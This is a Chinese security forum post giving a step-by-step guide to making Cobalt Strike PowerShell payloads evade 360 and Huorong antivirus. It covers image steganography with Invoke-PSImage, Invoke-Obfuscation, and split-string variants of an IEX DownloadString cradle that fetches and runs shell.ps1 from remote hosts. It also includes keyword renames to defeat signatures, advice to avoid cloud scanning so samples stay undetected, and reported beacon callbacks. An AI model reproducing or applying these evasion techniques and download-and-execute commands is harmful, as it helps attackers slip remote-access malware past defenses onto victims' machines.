安全矩阵

 找回密码
 立即注册
搜索
查看: 2860|回复: 0

记一次powershell的免杀之路(绕过360、火绒)

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-11-5 16:04:15 | 显示全部楼层 |阅读模式
原文链接:记一次powershell的免杀之路(绕过360、火绒)

记一次powershell的免杀之路
powershell简介
powershell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能,PowerShell脚本的文本文件,其文件名需要加上扩展名“.PS1”。PowerShell需要.NET环境的支持,同时支持.NET对象,其可读性、易用性居所有Shell之首。
PowerShell具有以下特点:
1、在Windows 7以上的操作系统中是默认安装的。
2、PowerShell脚本可以运行在内存中,不需要写入磁盘。
3、几乎不会触发杀毒软件。
4、可以远程执行。
5、目前很多工具都是基于PowerShell开发的。
6、使得Windows的脚本攻击变得更加容易。
7、cmd.exe通常会被阻止运行,但是PowerShell不会。
8、可以用来管理活动目录。
实战中powershell的应用
(1)PowerShell首先是个Shell,定义好了一堆命令与操作系统,特别是与文件系统交互,能够启动应用程序,甚至操纵应用程序;第二,PowerShell允许将几个命令组合起来放到文件里执行,实现文件级的重用,也就是说有脚本的性质;第三,PowerShell能够能够充分利用.Net类型和COM对象,来简单地与各种系统交互,完成各种复杂的、自动化的操作。
由于powershell的语言特点,近年来powershell在内网渗透中成为大热门,由此是各大杀软厂商"重点关注的对象"
(2)近源攻击:
生活中可以一些物理黑客常常会利用免杀的powershell代码烧录进badusb去入侵别人的电脑,这种方法简单粗暴,且攻击效果极佳。
杀毒软件检测原理

我们可以根据杀软的原理进行针对性的绕过
无文件落地的特点:
顾名思义,无需将恶意文件传到目标服务器/机器上,直接利用powershell的特性加载到内存执行。为了在攻击者在行动中更隐蔽的实施攻击以及内网横向移动,同时还可以解决目标不出网只能通过dns上线时的棘手问题,利用powershell可以避免一行行echo。
powershell有六种执行策略:
Unrestricted 权限最高,可以不受限制执行任意脚本
Restricted 默认策略,不允许任意脚本的执行
AllSigned 所有脚本必须经过签名运行
RemoteSigned 本地脚本无限制,但是对来自网络的脚本必须经过签名
Bypass 没有任何限制和提示
Undefined 没有设置脚本的策略
查看powershell的默认策略:Get-ExecutionPolicy
可以看到默认的策略是Restricted 不允许任何脚本执行

我们可以用管理员权限去更改powershell的默认策略
Set-ExecutionPolicy Unrestricted

当然这种方法在实战中不太适用,动作太大容易被被杀软发现
cobaltstrike4.0cobaltsrtike简介
实验开始之前需准备cobaltstrike4.0,作为一款协同APT工具,功能十分强大,针对内网的渗透测试和作为apt的控制终端功能,使其变成众多APT组织的首选
fireeye多次分析过实用cobaltstrike进行apt的案例。
【安装及使用教程】

https://zhuanlan.zhihu.com/p/347671727?utm_source=wechat_session&utm_medium=social&utm_oi=1105459334804398080&utm_campaign=shareopn
0x01.Invoke-PSImage脚本图片混淆powershell代码
实验环境:
虚拟机win10(装有360全家桶,火绒安全)、物理机win10
window server2012(具有公网IP的服务器)
一张1920*1200的图片(只能大不能小),后面代码要插入图片里,像素小了位数不够。
Cobalt Strike工具
Invoke-psimage脚本
【Github传送门】:

https://github.com/peewpw/Invoke-PSImage
调用-PSImage
在 PNG 文件的像素中对 PowerShell 脚本进行编码,并生成要执行的 oneliner
Invoke-PSImage 使用 PowerShell 脚本并将脚本的字节编码为 PNG 图像的像素。它生成一个oneliner,用于从网络上的文件或文件中执行。
它可以仅使用有效载荷数据创建新图像,也可以将有效载荷嵌入现有图像的最低有效字节中,使其看起来像一张真实的图片。图像保存为 PNG,并且可以无损压缩而不会影响执行有效负载的能力,因为数据存储在颜色本身中。创建新图像时,普通的 PowerShell 脚本实际上会被大大压缩,通常会生成一个文件大小约为原始脚本 50% 的 png。
使用嵌入方法,每个像素中 2 个颜色值的最低有效 4 位用于保存有效负载。图像质量会因此而受到影响,但看起来仍然不错。它可以接受大多数图像类型作为输入,但输出将始终是 PNG,因为它需要无损。图像的每个像素用于保存一个字节的脚本,因此你将需要一个像素数至少与脚本中的字节数一样多的图像。

用cobaltsrtike配置监听器并生成一个payload.ps1(详细操作可自己baidu)

在文件夹目录下输入cmd,执行以下三行命令
  1. Powershell -ExecutionPolicy Bypass  

  2. Import-Module .\Invoke-PSImage.ps1

  3. Invoke-PSImage -Script .\payload.ps1 -Image . \123.jpg -Out 456.jpg -Web
复制代码


为了方便从上传,这里输出jpg格式,你也可以输出png格式,问题不大

并且复制这段代码

文件夹里多出一个5252kb的图片456.jpg
  
这就是Ivoke-PSImage脚本对powershell代码和图片进行混淆的图片马



端口自选我这里选择5432,注意不要与监听端口重复

复制该链接,替换掉上面生成出来代码中的http链接

新建一个文件,格式为.ps1将这段断码复制粘贴到里面,这就是一个新的powershell木马

可以看到cobaltsrike已经上线上线


在360的环境下cobaltstrike可以上线



Virus total免杀率95%(3/56)


可以看到vt静态查杀过不了微软的defender,windows defender 不愧是”地表最强杀软”
我们可以以对样本进行小小的修改,同样可以做到免杀,实际操作可参考方法三
​​
0x02.Invoke-Obfuscation-Bypas脚本免杀
powershell的免杀⽅法有很多,对代码进⾏编码是最常⻅的⼀种,这⾥介绍⼀个专⻔⽤来对powershell进⾏编码免杀的框架Invoke
Obfuscation,这也是著名的APT32组织海莲花常⽤的⼀个⼯具。
该工具可以对powershell代码进行 ASCII/hex/octal/binary甚至SecureString进行加密混淆
Invoke-Obfuscation主要是对ps1脚本进⾏免杀,所以这⾥还是需要现有⼀个ps的payload,我还是⽤法1的cobaltsrtike生成一个ps1文件
【github地址】:

https://github.com/AdminTest0/Invoke-Obfuscation-Bypass
用法:
在Invoke-Obfuscation-Bypass文件夹中输入powershell,打开powershell界面

依次输入

  1. Powershell -ExecutionPolicy Bypass(要以管理员模式才能运行)
  2. Import-Module .\Invoke-Obfuscation.psd1
  3. Invoke-Obfuscation
复制代码




将刚才cs生成的payload.ps1放在刚才的文件夹

依次输入

  1. set scriptpath C:\Users\用户名\Desktop\payload.ps1     /*paloads.ps1的绝对路径/
  2. token
  3. all
  4. 1
  5. out ..\1.ps1     /*输出文件/
复制代码



输出一个ps1文件

暂且不对它进行处理,断开网络放到360,火绒上进行检测,注意不要使用云查杀,否则样本会上传到云检测,过几天就不免杀了

静态能轻松绕过,动态也可使cobaltsrtike上线

Virus total免杀率95%(3/56)


0x03 .ps1源文件命令混淆(行为免杀)
虽然ps1代码⾃身免杀,但在⽤powershell执⾏远程下载或执⾏shellcode时,很容易触发杀软⾏为规则。
对于IEX这种⽅便快捷的⽅式直接运⾏会被360拦截。可尝试从语法上简单变化。主要是对DownloadString、http做⼀些处理。

⽐如利⽤replace替换函数,可以bypass。
例如常用powershell执行命令

powershell -NoExit "IEX(New-Object Net.WebClient).DownloadString.(''http://10.211.55.2/shell.ps1''))"

powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://10.211.55.2/shell.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"
.利用'+'拼接http达到上线(典型的powershell语法特性,以变量的方式来拆分HTTP)

powershell  -c "IEX(New-Object Net.WebClient)."DownloadString"('ht‘+’tp://192.168.52.23:80/a')"

修改以下关键字,规避静态查杀(建议使用工具替换)

  1. IEX $DoIt -- i`ex $DoIt
  2. IEX $a  --  ie`x $a
  3. $var_runme -- $vrunme
  4. $var_buffer -- $vbuffer
  5. func_get_proc_address --  func_k
  6. func_get_delegate_type -- func_l
  7. $var_type_builder -- $vk
  8. $var_parameters -- $vp
  9. $var_return_type-- $ve
  10. $var_procedure -- $v_pro
复制代码




可bypass360和⽕绒
0x04. base64编码powershell+图片混淆技术绕过AV检测
首先我们在cobaltsrtike4.0中生成一个powershell代码文件(注意不能是64位的)


可以看到基本的意思是把代码以及字符串进行base64加密放进$var_code变量中然后用IEX运行,所以可以通过base64加密和解密来绕过静态特征码检测
选中@’’@里的所有代码进行base64加密,然后在下面进行解密

解密后变量=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后变量))

只需更改划红线的四个变量,保存,在powershell中执行可使cobaltsrtike上线

Virus total免杀率有点高

我们可以利用powershell的语言特点 进行变量的拼接,尝试把 base64 编码后的字符串拆开(注意这里变量的更改)


少了十个

但是这种方法仅限静态查杀,动态会马上被360和火绒检测,我们和可以结合方法一使用图片混淆进行绕过

过程省略
Cobaltstrike稳定上线,经实验 ,后渗透至少能坚持半个小时


Vt相对前面稍稍高了一点,我们也可以用方法三对ps1文件进行混淆这里就不实验了

总结:
总结:根据 方法四 base64 加密的方法还可以推断出使用其他加密比如 ascii 码加密也有同样的效果。四种方法中,方法三最稳定,都能绕过360和火绒,但是动态很难绕过微软的defender(开启360时会自动关闭defender),毕竟是自家的东西,什么花样都给你拿捏的死死的。每种方法都有它的利弊,喜欢哪种玩哪种。另外免杀技术都有时效性,现在杀软厂商云查杀库越来越强,一种新的免杀技术一般撑不过几个月,但是大家可以根据上述的方法变形,比如可以拆成很多段,在配合其他的加密和解密手段进行免杀,制作属于自己的免杀。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 03:36 , Processed in 0.014339 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表